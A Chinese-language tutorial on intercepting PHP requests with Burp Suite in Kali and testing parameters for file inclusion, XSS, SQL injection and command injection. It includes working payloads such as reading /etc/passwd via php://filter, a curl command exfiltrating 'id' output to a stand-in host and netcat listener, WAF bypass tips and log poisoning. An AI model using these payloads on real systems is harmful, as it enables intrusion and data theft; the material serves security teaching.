kali怎么挖php漏洞_通过burpsuite拦截测php参数漏洞【技巧】

7次阅读

需手动配置浏览器代理至Burp的127.0.0.1:8080并确认Proxy监听启用,才能捕获php的$_GET/$_POST等参数流转;重点测试id、file、callback等高危参数,注意WAF、PHP配置及前端js干扰,并结合日志、外带平台等交叉验证漏洞真实性。

kali怎么挖php漏洞_通过burpsuite拦截测php参数漏洞【技巧】

怎么用 Burp Suite 拦截 PHP 请求测参数漏洞

Kali 自带 Burp Suite Community,但默认不自动代理浏览器流量,得手动配。关键不是装工具,而是让 PHP 请求真进 Burp——否则看不到 $_GET$_POST 参数的原始流转。

实操建议:

  • 启动 Burp 后,在 Proxy → Options 里确认 localhost:8080 监听已启用(别选错网卡)
  • 浏览器手动设代理:http/https 都指向 127.0.0.1:8080chrome 推荐用 FoxyProxy 插件切换,避免全局污染
  • 访问目标 PHP 页面(比如 /login.php?user=admin),看 Burp 的 Proxy → HTTP history 是否实时出现请求行——没出现就说明代理没通,不是 Burp 问题,是浏览器或系统代理设置漏了
  • 重点盯 GET 参数(URL 里 ?id=1)、POST body(登录表单提交)、还有容易被忽略的 X-forwarded-ForReferer 这类头字段,PHP 代码可能直接 echo $_SERVER['HTTP_X_FORWARDED_FOR']

哪些 PHP 参数最常出漏洞

不是所有参数都危险,但以下几类在真实 PHP 应用中高频触发漏洞,且 Burp 里一眼能识别:

  • idpagefileincludeaction 这类名字,大概率对应 include($_GET['page'])fopen($_GET['file']),直接试 ?file=../../etc/passwd?page=php://Filter/read=convert.base64-encode/Resource=index.php
  • callback 参数常见于 jsonP 接口,PHP 若写成 echo $_GET['callback'] . '(' . json_encode($data) . ')';,就构成 xss,Burp 里改值为 alert(1) 立刻验证
  • 数字型参数(如 ?order=1)别只测 sql 注入,先看响应是否随值变化:改 ?order=999999999 返回空?可能后端用了 ORDER BY $order 拼接,且没 intval() 过滤
  • 注意 PHP 特有行为:?id[]=1 会变成数组,若代码用 in_array($_GET['id'], $whitelist) 但没校验类型,可能绕过白名单

为什么有些 PHP 参数在 Burp 里“测不出反应”

不是没漏洞,是请求根本没进 PHP 层,或者 PHP 早把参数过滤/重写了。常见干扰点:

立即学习PHP免费学习笔记(深入)”;

  • Web 服务器层拦截:apachemod_securitynginx 的 WAF 规则,会在到达 PHP 前 403 掉 ../php:// 等特征,Burp 看到的是 403 响应,不是 PHP 报错——此时要关 WAF 或换更隐蔽的 payload(比如用 URL 编码绕过)
  • PHP 配置影响:allow_url_include=Offinclude('http://...') 直接失败,magic_quotes_gpc=On(旧版)会自动转义单引号,导致 SQLi payload 失效,这些得先通过 phpinfo() 或报错信息确认环境
  • 前端 JS 拦截:某些登录页用 JS 校验密码长度再发请求,你直接在 Burp 改 POST 数据可能被前端逻辑拒绝,得先禁用 JS 或抓包后重放
  • Burp 的 Scanner 对 PHP 动态参数效果有限,它依赖响应差异判断,而很多 PHP 漏洞(如无回显 SSRF、二次注入)响应完全不变,必须手动构造 + 观察服务端日志或外带平台(如 curl your-collab.com/?d=${HOSTNAME}

测完参数后怎么快速验证是不是真漏洞

别只看 Burp 响应状态码或页面变化,PHP 漏洞常需要交叉验证:

  • 文件读取类(LFI):用 ?file=php://filter/read=convert.base64-encode/resource=/etc/passwd,响应里搜 base64 字符串,解码确认内容——比直接读 passwd 更可靠,因为不依赖文件是否存在,还能绕过 NULL byte 截断
  • 命令执行类:发 ?cmd=id,响应没回显?立刻开个监听端口nc -lvnp 4444,再发 ?cmd=ping%20-c%201%20127.0.0.1%3B%20curl%20http://your-ip:4444/?a=$(%20id%20),看 nc 是否收到带 uid 的请求
  • SQL 注入:?id=1' and sleep(5)--+ 测延时,但注意 mysql 5.6+ 默认关闭 sleep() 在普通用户权限下的使用,可换 BENCHMARK(1000000,MD5(1))
  • 最关键一点:PHP 的 error_reporting 常被设为 0,错误不显示,但日志可能开着。如果能控制任意文件写入(比如上传点),优先往 /var/log/apache2/access.log 写 PHP 代码,再包含它——这比盲打稳定得多

实际挖的时候,大部分时间花在确认“这个参数到底有没有被 PHP 代码用上”,而不是 payload 本身。Burp 是眼睛,不是锤子。

text=ZqhQzanResources